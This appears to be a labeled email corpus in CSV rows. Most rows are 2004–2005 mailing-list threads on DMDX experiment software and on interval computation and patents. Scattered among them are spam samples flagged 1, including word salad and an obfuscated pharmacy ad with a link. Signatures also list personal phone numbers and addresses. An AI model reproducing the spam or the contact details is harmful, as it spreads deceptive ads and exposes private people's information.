for NYE with your mates and Yahoo! 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Use the abort key. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Man usually avoids attributing cleverness to somebody else -- unless it is an enemy. - Albert Einstein ",0,0 ,,,,"iBEL6kYB026764 for ; Tue, 14 Dec 2004 13:06:46 -0800 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1CeJsZ-0000Ur-8M; Tue, 14 Dec 2004 13:06:43 -0800 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1CeJrt-0000Uf-6F for csf@ucsb.edu; Tue, 14 Dec 2004 13:06:01 -0800 Received: from bodega.oit.ucsb.edu ([128.111.12.59]) by smtp.ucsb.edu with asmtp TLSv1:RC4-SHA:128 id 1CeJrm-0000Ub-Oa for csf@ucsb.edu; Tue, 14 Dec 2004 13:05:54 -0800 Mime-Version: 1.0 (Apple Message framework v619) Content-Transfer-Encoding: 7bit Message-Id: Content-Type: text/plain; charset=US-ASCII; format=flowed To: csf@ucsb.edu From: E. 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However, when I put everything into Analyze and hit ""analyze"" I get the following error message: parameter error Item file has 420 non-instruction item numbers sorting items... What does this mean? My spec file is slightly complicated with some items being in more than one condition---does this matter? I've got this to work before and I can't figure out what I'm doing wrong this time. Thanks, Carrie -- Carrie Ankerstein Department of Human Communication Sciences University of Sheffield 31 Claremont Crescent Sheffield S10 2TA United Kingdom phone: (0) 114 22 22412 email: hcp02caa@sheffield.ac.uk ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 15 Dec 2004 11:10:59 -0700",[DMDX] Re: analyze and parameter errors," Try the latest version of Analyze (2.04) as I fixed some the error messages and you might be needing the fixes... At 04:10 PM 12/15/2004 +0000, you wrote: >Hi All, > >I'm preparing my data for analysis using Nan Jiang's instructions. >However, when >I put everything into Analyze and hit ""analyze"" I get the following error >message: > >parameter error >Item file has 420 non-instruction item numbers >sorting items... > >What does this mean? > >My spec file is slightly complicated with some items being in more than one >condition---does this matter? > >I've got this to work before and I can't figure out what I'm doing wrong this >time. > > >Thanks, > > >Carrie > > > > >-- >Carrie Ankerstein >Department of Human Communication Sciences >University of Sheffield >31 Claremont Crescent >Sheffield S10 2TA >United Kingdom > >phone: (0) 114 22 22412 >email: hcp02caa@sheffield.ac.uk > > > > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Man usually avoids attributing cleverness to somebody else -- unless it is an enemy. - Albert Einstein ",0,1 C A Ankerstein ,DMDX@psy1.psych.arizona.edu,"Thu, 16 Dec 2004 16:39:44 +0000",[DMDX] Re: analyze and parameter errors,"Hi, I tried using Analyze 2.04 and got the same error message. In the end I figured out what was wrong---all of my items were in more than 1 condition, which I think I can solve by writing 2 different .spc files. Thanks, Carrie -- Carrie Ankerstein Department of Human Communication Sciences University of Sheffield 31 Claremont Crescent Sheffield S10 2TA United Kingdom phone: (0) 114 22 22412 email: hcp02caa@sheffield.ac.uk Quoting ""Jonathan C. Forster"" : > > Try the latest version of Analyze (2.04) as I fixed some the error > messages and you might be needing the fixes... > > At 04:10 PM 12/15/2004 +0000, you wrote: > >Hi All, > > > >I'm preparing my data for analysis using Nan Jiang's instructions. > >However, when > >I put everything into Analyze and hit ""analyze"" I get the following error > >message: > > > >parameter error > >Item file has 420 non-instruction item numbers > >sorting items... > > > >What does this mean? > > > >My spec file is slightly complicated with some items being in more than one > >condition---does this matter? > > > >I've got this to work before and I can't figure out what I'm doing wrong > this > >time. > > > > > >Thanks, > > > > > >Carrie > > > > > > > > > >-- > >Carrie Ankerstein > >Department of Human Communication Sciences > >University of Sheffield > >31 Claremont Crescent > >Sheffield S10 2TA > >United Kingdom > > > >phone: (0) 114 22 22412 > >email: hcp02caa@sheffield.ac.uk > > > > > > > > > > > >==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by itself with no quotes in the body of the email > > to be removed from the list. The list archive is available here: > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > >==================================================================== > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Man usually avoids attributing cleverness to somebody else -- unless it > is an enemy. > > - Albert Einstein > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 JOHN J CURTIN ,DMDX@psy1.psych.arizona.edu,"Thu, 16 Dec 2004 11:38:01 -0600",[DMDX] PIO output issue,"Hi Jonathan, We have had continued infrequent problems using DMDX to send triggers (event codes) with the Computerboards/Measurement Computing PIO card to amplifiers (Neuroscan synamps) that are monitoring participant's physiology. Periodically, triggers recorded by the synamps are incorrect. I've been working with an engineer here and he believes he has identified the source of the problem. Here is what he says.... ;;;;;;;;;;;;;;;;;;; New and interesting info about DMDX and SYNAMPS trigger ports. The 3 erroneous values out of 1000 received by SYNAMPS are also occurring on your systems on the first floor. I've pretty well characterized the behavior, and I think I know what is going on. It starts with DMDX and the I/O card. DMDX is writing to port C one nibble at a time, not a whole byte. First it writes the lower 4 bits, then it writes the higher 4 bits, 4 microseconds later. It appears that the synamps does _not_ watch the trigger port continuously and wait for a change and log it. I believe it samples the trigger port at the same rate that it samples the A/D converter and when it sees something other than 255 at the sample time, it logs it, then waits for it to go back to 255 and starts looking again for change - at the sampling rate. The sampling rate clock is running asynchronously to the trigger port pulses, so every now and then (approx 3 out of 1000) the trigger port is sampled during that 4 us. when half of the byte at port C is correct and the other half is all ones, leading to the bad trigger values that Jeremy is reporting. Port C has the ability to be written as a complete byte but it appears that either the DMDX author or the card manufacturer drivers chose not to use it that way. I would lean towards it being a DMDX problem. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Is he correct that DMDX writes to port C in two sets of 4 bits rather than the full byte? If so, I agree with him that this could be the source of our trigger problem with the synamps. In fact, the specific trigger errors are all consistent with his assessment. If he is correct, is it possible to have new PIO devices that write the full byte to Port C rather than two successive nibbles? I have sponsored changes in the past but if needed would be willing to sponsor another if you are willing to make such a change. Thanks John John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 West Johnson St. Madison, WI 53706 Email: jjcurtin@wisc.edu Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Fax: 608-262-4029 ",0,0 """MATHIS,KRISTOPHER IAN"" ",DMDX@psy1.psych.arizona.edu,"Thu, 16 Dec 2004 12:46:58 -0800",[DMDX] Re: PIO output issue,"Hey John, That's some really cool detective work. Hope you're doing well. Ian Quoting JOHN J CURTIN : > Hi Jonathan, > We have had continued infrequent problems using DMDX to send triggers > (event codes) with the Computerboards/Measurement Computing PIO card > to > amplifiers (Neuroscan synamps) that are monitoring participant's > physiology. Periodically, triggers recorded by the synamps are > incorrect. I've been working with an engineer here and he believes he > has identified the source of the problem. Here is what he says.... > > ;;;;;;;;;;;;;;;;;;; > New and interesting info about DMDX and SYNAMPS trigger ports. > > The 3 erroneous values out of 1000 received by SYNAMPS are also > occurring on your systems on the first floor. I've pretty well > characterized the behavior, and I think I know what is going on. > > It starts with DMDX and the I/O card. DMDX is writing to port C one > nibble at a time, not a whole byte. First it writes the lower 4 bits, > then it writes the higher 4 bits, 4 microseconds later. > > It appears that the synamps does _not_ watch the > trigger port continuously and wait for a change and log it. I believe > it samples the trigger port at the same rate that it samples the A/D > converter and when it sees something other than 255 at the sample > time, it logs it, then waits for it to go back to 255 and starts > looking again for change - at the sampling rate. > > The sampling rate clock is running asynchronously to the trigger port > pulses, so every now and then (approx 3 out of 1000) the trigger port > is > sampled during that 4 us. when half of the byte at port C is correct > and the other half is all ones, leading to the bad trigger values that > Jeremy > is reporting. > > Port C has the ability to be written as a complete byte but it appears > that either the DMDX author or the card manufacturer drivers chose not > to use it that way. I would lean towards it being a DMDX problem. > ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; > > Is he correct that DMDX writes to port C in two sets of 4 bits rather > than the full byte? If so, I agree with him that this could be the > source of our trigger problem with the synamps. In fact, the specific > trigger errors are all consistent with his assessment. > > If he is correct, is it possible to have new PIO devices that write > the full byte to Port C rather than two successive nibbles? I have > sponsored changes in the past but if needed would be willing to > sponsor another if you are willing to make such a change. > > Thanks John > > John J. Curtin, Ph.D. > Assistant Professor of Psychology > University of Wisconsin > 1202 West Johnson St. > Madison, WI 53706 > > Email: jjcurtin@wisc.edu > Office: 608-262-0387 > Lab: 608-262-5621 > Cell: 608-217-6221 > Fax: 608-262-4029 > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 JOHN J CURTIN ,DMDX@psy1.psych.arizona.edu,"Thu, 16 Dec 2004 14:57:40 -0600",[DMDX] Re: PIO output issue,"I will be doing quite well by tomorrow midday when I get off a plane in miami for Edelyns sisters wedding. Then better still on sunday when I get off a plane in the dominican republic! Not doing that well today in cold WI! Have a nice break. J John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 West Johnson St. Madison, WI 53706 Email: jjcurtin@wisc.edu Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Fax: 608-262-4029 ----- Original Message ----- From: ""MATHIS,KRISTOPHER IAN"" Date: Thursday, December 16, 2004 2:46 pm Subject: [DMDX] Re: PIO output issue > Hey John, > That's some really cool detective work. Hope you're doing well. > Ian > > > Quoting JOHN J CURTIN : > > > Hi Jonathan, > > We have had continued infrequent problems using DMDX to send > triggers> (event codes) with the Computerboards/Measurement > Computing PIO card > > to > > amplifiers (Neuroscan synamps) that are monitoring participant's > > physiology. Periodically, triggers recorded by the synamps are > > incorrect. I've been working with an engineer here and he > believes he > > has identified the source of the problem. Here is what he says.... > > > > ;;;;;;;;;;;;;;;;;;; > > New and interesting info about DMDX and SYNAMPS trigger ports. > > > > The 3 erroneous values out of 1000 received by SYNAMPS are also > > occurring on your systems on the first floor. I've pretty well > > characterized the behavior, and I think I know what is going on. > > > > It starts with DMDX and the I/O card. DMDX is writing to port C one > > nibble at a time, not a whole byte. First it writes the lower 4 > bits,> then it writes the higher 4 bits, 4 microseconds later. > > > > It appears that the synamps does _not_ watch the > > trigger port continuously and wait for a change and log it. I > believe> it samples the trigger port at the same rate that it > samples the A/D > > converter and when it sees something other than 255 at the sample > > time, it logs it, then waits for it to go back to 255 and starts > > looking again for change - at the sampling rate. > > > > The sampling rate clock is running asynchronously to the trigger > port> pulses, so every now and then (approx 3 out of 1000) the > trigger port > > is > > sampled during that 4 us. when half of the byte at port C is correct > > and the other half is all ones, leading to the bad trigger > values that > > Jeremy > > is reporting. > > > > Port C has the ability to be written as a complete byte but it > appears> that either the DMDX author or the card manufacturer > drivers chose not > > to use it that way. I would lean towards it being a DMDX problem. > > ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; > > > > Is he correct that DMDX writes to port C in two sets of 4 bits > rather> than the full byte? If so, I agree with him that this > could be the > > source of our trigger problem with the synamps. In fact, the > specific> trigger errors are all consistent with his assessment. > > > > If he is correct, is it possible to have new PIO devices that write > > the full byte to Port C rather than two successive nibbles? I have > > sponsored changes in the past but if needed would be willing to > > sponsor another if you are willing to make such a change. > > > > Thanks John > > > > John J. Curtin, Ph.D. > > Assistant Professor of Psychology > > University of Wisconsin > > 1202 West Johnson St. > > Madison, WI 53706 > > > > Email: jjcurtin@wisc.edu > > Office: 608-262-0387 > > Lab: 608-262-5621 > > Cell: 608-217-6221 > > Fax: 608-262-4029 > > ==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by itself with no quotes in the body of the email > > to be removed from the list. The list archive is available here: > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > > ==================================================================== > > > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 16 Dec 2004 15:03:04 -0700",[DMDX] Re: PIO output issue,"At 11:38 AM 12/16/2004 -0600, you wrote: >Is he correct that DMDX writes to port C in two sets of 4 bits rather >than the full byte? Yep, that's the way the original 8255 hardware was and the way InstaCal still represent that port. DMDX has no choice when it is writing to it as it's two devices. Historical reasons are there but it's still a little irritating and in your case a liability. > If so, I agree with him that this could be the >source of our trigger problem with the synamps. In fact, the specific >trigger errors are all consistent with his assessment. > >If he is correct, is it possible to have new PIO devices that write >the full byte to Port C rather than two successive nibbles? I have >sponsored changes in the past but if needed would be willing to >sponsor another if you are willing to make such a change. Don't think so. Not unless they've written a new version of the Universal Library that represents port C as one device and not two like the version I have does (unlikely). Best bet for you is to use the DMDX 16 bit output device and use port B instead of port C. Of course you'll have to multiply all your codes by 256 but those higher 8 bits of output will be synchronous. Usually one tries to build a paradigm that doesn't rely on synchronous changes though, things like one line being a strobe that's toggled after the data bits have been set up. Then again you could always use Keithley Crap, at least that stuff has 8 bit output (even if it is delayed by hundreds of microseconds). But I'm willing to bet you don't want to buy new interface cards. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Man usually avoids attributing cleverness to somebody else -- unless it is an enemy. - Albert Einstein ",0,0 Nunley Celina ,DMDX@psy1.psych.arizona.edu,"Fri, 17 Dec 2004 07:57:24 -0500",American getting crazy over it,"! bradshaw not playoff or contemptible be parapsychology be bricklay ",1,0 ������ ,DMDX@psy1.psych.arizona.edu,"Mon, 20 Dec 2004 12:59:10 +0800",[DMDX] Response Problem and branching problem.,"Hello all: I'm trying to make a spatial working memory span program with DMDX, but I meet two problems. Please help me. First problem: Here is a two span program that I have done. I give subjects two picture that each has one letter with one possible angle, and subjects must judge whether this letter is mirror letter or not. then I give them eight possible angle to recall ordinally. I want to make the letter DISAPPEARED on subject's pressing B or N in the keyboard.How can I do this? Second problem: I want the program ends immediately after subjects failed on BOTH response task(that is subjects failed on Item 1003 and 1004), If they just failed one response task, the program will go on. How can I do this? I have tried branching keywords, but I didn't found the answer. Please help me, Thank You! 0 ""Start""; 250 /; 1000 ""+""/; 250 / ; +1001 *""R1""/; 250 / ; +1002 *""R2""/; 250 / ; +1003 *""response""/; 250 / ; +1004 *""response""/; 250 / ; 0 ""The End,Thank You!""; Greed is good or not?",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 21 Dec 2004 08:44:20 -0700",[DMDX] Re: Response Problem and branching problem.,"At 12:59 PM 12/20/2004 +0800, you wrote: >Hello all: > >I'm trying to make a spatial working memory span program with DMDX, but I >meet two >problems. Please help me. >First problem: Here is a two span program that I have done. I give >subjects two >picture that each has one letter with one possible angle, and subjects >must judge >whether this letter is mirror letter or not. then I give them eight >possible angle >to recall ordinally. >I want to make the letter DISAPPEARED on subject's pressing B or N in the >keyboard.How can I do this? instead of (or as you are using) in the parameter line. >Second problem: I want the program ends immediately after subjects failed >on BOTH >response task(that is subjects failed on Item 1003 and 1004), If they just >failed >one response task, the program will go on. How can I do this? I have tried >branching keywords, but I didn't found the answer. >Please help me, Thank You! You'll have to have a couple of subroutines, the first will remember whether the first item was responded to incorrectly and the other will check that if the later response is incorrect. > ""+Numpad >2"">""+Numpad 7""> 800,600,600,8,0> > > >0 ""Start""; The subroutines should go at the start like this with a branch over them so they don't get executed at the start: 0 ""Start"" ; ~91003 ; ~99990 ; ~99991 ; ~91004 ; ~99993 ; ~99994 ~99995 ; 99996 ""Both items incorrect"" ; >250 /; >1000 ""+""/; >250 / ; >+1001 *""R1""/; >250 / ; >+1002 *""R2""/; >250 / ; >+1003 ""+Numpad 4"">8"">*""response""/; >250 / ; >+1004 ""+Numpad 4"">8"">*""response""/; And each item must then call it's respective subroutine: +1003 *""response""/ ; 250 / ; +1004 *""response""/ ; >250 / ; >0 ""The End,Thank You!""; > >Greed is good or not? No, it is evil. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is easier to change the specification to fit the program than vice versa.",0,0 ������ ,DMDX@psy1.psych.arizona.edu,"Wed, 22 Dec 2004 18:21:23 +0800",[DMDX] Re:Re: Response Problem and branching problem.,"Hello, I've resolved the first problem with your advice, thank you! But I still have two problems. First, I didn't understand the """", especially the meaning of "".gt."", and I didn't find its usage in DmdX's help file. Please tell me it's meaning. Second, for some reasons, I had to change my program like below. Like before, it's a TWO span program, but I repeated it THREE times. If subjects can do ONE of these correctly, program will go on, then this subject's span will be 2 or more. That is, subjects succeed in item 2031 and 2041 or in item 2032 and 2042 or in item 2033 and 2043, the program will go on. I think I have to use subrutines, but I don't know how to do it, Please help me. 0 ""Start""; 250 /; 2011 ""+""/; 250 /; +2011 *""R1""; 250 /; +2021 *""R2""; 250 /; +2031 *""response""; 250 /; +2041 *""response""; 250 /; 2012 ""+""/; 250 /; +2012 *""R1""; 250 /; +2022 *""R2""; 250 /; +2032 *""response""; 250 /; +2042 *""response""; 250 /; 2013 ""+""/; 250/; +2013 *""R1""; 250 /; +2023 *""R2""; 250 /; +2033 *""response""; 250 /; +2043 *""response""; 250 /; 0 ""The End, Thank You!"";",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 22 Dec 2004 08:25:36 -0700",[DMDX] Re:Re: Response Problem and branching problem.,"At 06:21 PM 12/22/2004 +0800, you wrote: >Hello, > >I've resolved the first problem with your advice, thank you! > >But I still have two problems. First, I didn't understand the ""c1 .gt. >0>"", especially the meaning of "".gt."", and I didn't find its usage in >DmdX's help >file. Please tell me it's meaning. It's in the documentation. >Second, for some reasons, I had to change my program like below. Like >before, it's >a TWO span program, but I repeated it THREE times. If subjects can do ONE >of these >correctly, program will go on, then this subject's span will be 2 or more. >That is, subjects succeed in item 2031 and 2041 or in item 2032 and 2042 or in >item 2033 and 2043, the program will go on. > >I think I have to use subrutines, but I don't know how to do it, Follow the instructions in the previous email, if you can't follow them someone else will have to help as that's the limit of my explanation. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is easier to change the specification to fit the program than vice versa.",0,0 Earline Hassinger ,reliable_computing-outgoing@interval.louisiana.edu,"Fri, 24 Dec 2004 11:09:58 -0700",Re: your AMnBtEN,"Hi V V P A X C L A I r m a I e L A o b n A v I G z i a L i U R a e x I t M A c n S ra http://www.neateater.com a noise like the kicking of a flabby football, and the enraged spider fell off the branch, only catching itself with its own thread just in time. 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Baker Kearfott"" ","Arnold Neumaier , interval ","Mon, 03 Jan 2005 13:46:52 -0600",Re: quadratic equation with interval coefficients,"Arnold, I looked at it some years ago, when I was programming the elementary functions for GlobSol's constraint propagation. I even wrote a routine for it. However, I never published it, and it is not contained in the distribution version of GlobSol. Furthermore, I don't think I proved that it was the tightest possible machine enclosure for the solution set. Thus, if I'm the only one who did it, it's ""fair game"" for you to write it up :-) Best regards, Baker At 08:08 PM 1/3/2005 +0100, Arnold Neumaier wrote: >Is there a complete discussion in the literature of the solution >of a single quadratic equation in one variable, >with interval coefficients? Perhaps even an implementation >that computes a correctly rounded enclosure for the solution set? > >I worked out a solution myself, but this problem is so natural >that it was probably treated before. > > >Arnold Neumaier > > > --------------------------------------------------------------- R. Baker Kearfott, rbk@louisiana.edu (337) 482-5346 (fax) (337) 482-5270 (work) (337) 993-1827 (home) URL: http://interval.louisiana.edu/kearfott.html Department of Mathematics, University of Louisiana at Lafayette (Room 217 Maxim D. Doucet Hall, 1403 Johnston Street) Box 4-1010, Lafayette, LA 70504-1010, USA --------------------------------------------------------------- ",0,1 Wilfredo Lambert ,reliable_computing-outgoing@interval.louisiana.edu,"Mon, 03 Jan 2005 09:12:54 -0500",�λ����� ���� ���鶧 ������ �ǵ帮�ڽ��ϴ�.,"teller vladimir complainant spanish egret poetry committeemen inhalation devour mechanism widen erosion coordinate tarrytown dedicate rhinestone graze avoid parasite bluestocking mugging mandrake ",1,0 Vladik Kreinovich ,"Arnold.Neumaier@univie.ac.at, reliable_computing@interval.louisiana.edu, rbk@louisiana.edu","Mon, 03 Jan 2005 13:22:50 -0700",Re: quadratic equation with interval coefficients,"It is described in the paper E. R. Hansen and G. W. Walster, Sharp bounds on interval polynomial roots, Reliable Computing, 2002, Vol. 8, No. 2, pp. 115-122. This is how it works for the example that was sent to the list: ",0,0 Arnold Neumaier ,Vladik Kreinovich ,"Mon, 03 Jan 2005 22:38:53 +0100",Re: quadratic equation with interval coefficients,"Vladik Kreinovich wrote: > It is described in the paper E. R. Hansen and G. W. Walster, Sharp bounds on > interval polynomial roots, Reliable Computing, 2002, Vol. 8, No. 2, pp. > 115-122. Thanks. I hope they didn't patent it! Arnold ",0,0 Vladik Kreinovich ,reliable_computing@interval.louisiana.edu,"Mon, 03 Jan 2005 20:08:12 -0700",Re: quadratic equation with interval coefficients,"FYI. Vladik ------------- Begin Forwarded Message ------------- From: ""G. William Walster"" ... the algorithm is also contained in Chapter 8 of the second edition of ""Global Optimization Using Interval Analysis."" ------------- End Forwarded Message -------------",0,0 George Corliss ,"Arnold Neumaier , Vladik Kreinovich ","Mon, 03 Jan 2005 21:35:59 -0600",Re: quadratic equation with interval coefficients,"Arnold and all, >> It is described in the paper E. R. Hansen and G. W. Walster, Sharp bounds on >> interval polynomial roots, Reliable Computing, 2002, Vol. 8, No. 2, pp. >> 115-122. > > Thanks. I hope they didn't patent it! They have applied for one. Patent application number: 20030055857 Method and apparatus for computing roots of a polynomial equation with interval coefficients You may view the application at http://appft1.uspto.gov/netacgi/nph-Parser?Sect1=PTO2&Sect2=HITOFF&u=%2Fneta html%2FPTO%2Fsearch-adv.html&r=16&p=1&f=G&l=50&d=PG01&S1=walster.IN.&OS=IN/w alster&RS=IN/walster Of the applications Bill has submitted, 8 patents have been issued. See http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO2&Sect2=HITOFF&u=%2Fnetah tml%2Fsearch-adv.htm&r=0&p=1&f=S&l=50&Query=IN%2Fwalster&d=ptxt Dr. George F. Corliss Electrical and Computer Engineering Marquette University PO Box 1881 1515 W. Wisconsin Ave. Milwaukee WI 53201-1881 USA 414-288-6599; Fax: 288-5579; Dept. 288-6280 George.Corliss@Marquette.edu ",0,1 Andrzej Pownuk ,reliable_computing@interval.louisiana.edu,"Tue, 04 Jan 2005 08:11:27 +0100",RE: quadratic equation with interval coefficients,"Dear George, According to my knowledge, these patents are not valid (at least) in Europe. Art. 52 (EUROPEAN PATENT CONVENTION) says that: (a) discoveries, scientific theories and mathematical methods; (b) aesthetic creations; (c) schemes, rules and methods for performing mental acts, playing games or doing business, and programs for computers; (d) presentations of information. cannot be patentable http://www.european-patent-office.org/legal/epc/e/ar52.html This law is still valid. http://www.gnu.org/thankpoland.html Then at this moment these patents are problems for people living in the USA. I am not a lawyer. Correct me if I am wrong. Regards, Andrzej Pownuk --------------------------------------------- Ph.D., research associate at: Chair of Theoretical Mechanics Faculty of Civil Engineering Silesian University of Technology ul. Krzywoustego 7 44-100 Gliwice, Poland Tel/fax: 0048 32 2371542 Mobile: 0048 606 550147 URL: http://zeus.polsl.gliwice.pl/~pownuk E-mail: Andrzej.Pownuk@polsl.pl --------------------------------------------- > Arnold and all, > > >> It is described in the paper E. R. Hansen and G. W. Walster, Sharp > bounds on > >> interval polynomial roots, Reliable Computing, 2002, Vol. 8, No. 2, pp. > >> 115-122. > > > > Thanks. I hope they didn't patent it! > > They have applied for one. Patent application number: 20030055857 > Method and apparatus for computing roots of a polynomial equation with > interval coefficients > > You may view the application at > http://appft1.uspto.gov/netacgi/nph- > Parser?Sect1=PTO2&Sect2=HITOFF&u=%2Fneta > html%2FPTO%2Fsearch- > adv.html&r=16&p=1&f=G&l=50&d=PG01&S1=walster.IN.&OS=IN/w > alster&RS=IN/walster > > > Of the applications Bill has submitted, 8 patents have been issued. See > http://patft.uspto.gov/netacgi/nph- > Parser?Sect1=PTO2&Sect2=HITOFF&u=%2Fnetah > tml%2Fsearch-adv.htm&r=0&p=1&f=S&l=50&Query=IN%2Fwalster&d=ptxt > > Dr. George F. Corliss > Electrical and Computer Engineering > Marquette University > PO Box 1881 > 1515 W. Wisconsin Ave. > Milwaukee WI 53201-1881 USA > 414-288-6599; Fax: 288-5579; Dept. 288-6280 > George.Corliss@Marquette.edu > ",0,1 Stefan Ratschan ,reliable_computing@interval.louisiana.edu,"Tue, 04 Jan 2005 12:16:05 +0100",Re: quadratic equation with interval coefficients,"On Mon, 2005-01-03 at 21:22, Vladik Kreinovich wrote: > It is described in the paper E. R. Hansen and G. W. Walster, Sharp bounds on > interval polynomial roots, Reliable Computing, 2002, Vol. 8, No. 2, pp. > 115-122. To me it seems that this method is a reinvention of what already appears in Section 7 of @Article{Hong:94b, author = ""Hoon Hong and Volker Stahl"", title = ""Safe Starting Regions by Fixed Points and Tightening"", journal = ""Computing"", year = 1994, volume = 53, pages = ""323--335"", } ... this might also be relevant for the patent application ... Stefan Ratschan ",0,0 """R. Baker Kearfott"" ","""r. corless"" , George Corliss ","Tue, 04 Jan 2005 08:33:01 -0600",Re: quadratic equation with interval coefficients,"Hmmm.... let me play devil's advocate: It brings up an interesting question of standards for original work for publication. Presumably computing the roots of interval polynomials was previously published as a research publication. An algorithm or procedure might possibly be derivable by any of us; nonetheless, a clear, readable written record of it could still be valuable to all, and writing it down in a clear and understandable way may take some effort. So, although it may not be surprising and although any of a number of us might have been able to derive it in a fairly straightforward way, might the written record still be valuable to the community as a whole? Best regards, Baker At 09:12 AM 1/4/2005 -0500, r. corless wrote: > >Interesting. I was speaking to an intellectual-property lawyer last week >(he will marry my sister-in-law in July, this is just family, I am not >applying for patents myself :-) and he pointed out to me that the >""hard"" question for patents is not ""originality"" but ""obviousness"". A >patent will not be granted for something that is ""obvious"" to someone >""skilled in the art"". > >I understand that phrase ""skilled in the art"" to mean an ordinarily >competent interval practitioner in this case, and not to someone elite >(and it is clear that there are elite practitioners on this mailing list, >to be sure). > >So, here's the question for the community: Is the solution of >interval polynomials ""obvious"", given competent knowledge of interval >arithmetic? > >Would you set it on an exam? > >-r > > > >On Mon, 3 Jan 2005, George Corliss wrote: > >> Arnold and all, >> >> >> It is described in the paper E. R. Hansen and G. W. Walster, Sharp bounds on >> >> interval polynomial roots, Reliable Computing, 2002, Vol. 8, No. 2, pp. >> >> 115-122. >> > >> > Thanks. I hope they didn't patent it! >> >> They have applied for one. Patent application number: 20030055857 >> Method and apparatus for computing roots of a polynomial equation with >> interval coefficients >> >> You may view the application at >> http://appft1.uspto.gov/netacgi/nph-Parser?Sect1=PTO2&Sect2=HITOFF&u=%2Fneta >> html%2FPTO%2Fsearch-adv.html&r=16&p=1&f=G&l=50&d=PG01&S1=walster.IN.&OS=IN/w >> alster&RS=IN/walster >> >> >> Of the applications Bill has submitted, 8 patents have been issued. See >> http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO2&Sect2=HITOFF&u=%2Fnetah >> tml%2Fsearch-adv.htm&r=0&p=1&f=S&l=50&Query=IN%2Fwalster&d=ptxt >> >> Dr. George F. Corliss >> Electrical and Computer Engineering >> Marquette University >> PO Box 1881 >> 1515 W. Wisconsin Ave. >> Milwaukee WI 53201-1881 USA >> 414-288-6599; Fax: 288-5579; Dept. 288-6280 >> George.Corliss@Marquette.edu >> >> >> > > --------------------------------------------------------------- R. Baker Kearfott, rbk@louisiana.edu (337) 482-5346 (fax) (337) 482-5270 (work) (337) 993-1827 (home) URL: http://interval.louisiana.edu/kearfott.html Department of Mathematics, University of Louisiana at Lafayette (Room 217 Maxim D. Doucet Hall, 1403 Johnston Street) Box 4-1010, Lafayette, LA 70504-1010, USA --------------------------------------------------------------- ",0,1 James Demmel ,Arnold Neumaier ,"Mon, 03 Jan 2005 11:35:29 -0800",Re: quadratic equation with interval coefficients,"Yves Nievergelt, ynievergelt@ewu.edu, has a paper on a related result. Jim Demmel Arnold Neumaier wrote: > Is there a complete discussion in the literature of the solution > of a single quadratic equation in one variable, > with interval coefficients? Perhaps even an implementation > that computes a correctly rounded enclosure for the solution set? > > I worked out a solution myself, but this problem is so natural > that it was probably treated before. > > Arnold Neumaier ",0,0 """R. Baker Kearfott"" ",reliable_computing@interval.louisiana.edu,"Tue, 04 Jan 2005 09:15:25 -0600",Re: quadratic equation with interval coefficients,"Hmmm.... let me play devil's advocate: It brings up an interesting question of standards for original work for publication. Presumably computing the roots of interval polynomials was previously published as a research publication. An algorithm or procedure might possibly be derivable by any of us; nonetheless, a clear, readable written record of it could still be valuable to all, and writing it down in a clear and understandable way may take some effort. So, although it may not be surprising and although any of a number of us might have been able to derive it in a fairly straightforward way, might the written record still be valuable to the community as a whole? Best regards, Baker >At 09:12 AM 1/4/2005 -0500, r. corless wrote: >> >>Interesting. I was speaking to an intellectual-property lawyer last week >>(he will marry my sister-in-law in July, this is just family, I am not >>applying for patents myself :-) and he pointed out to me that the >>""hard"" question for patents is not ""originality"" but ""obviousness"". A >>patent will not be granted for something that is ""obvious"" to someone 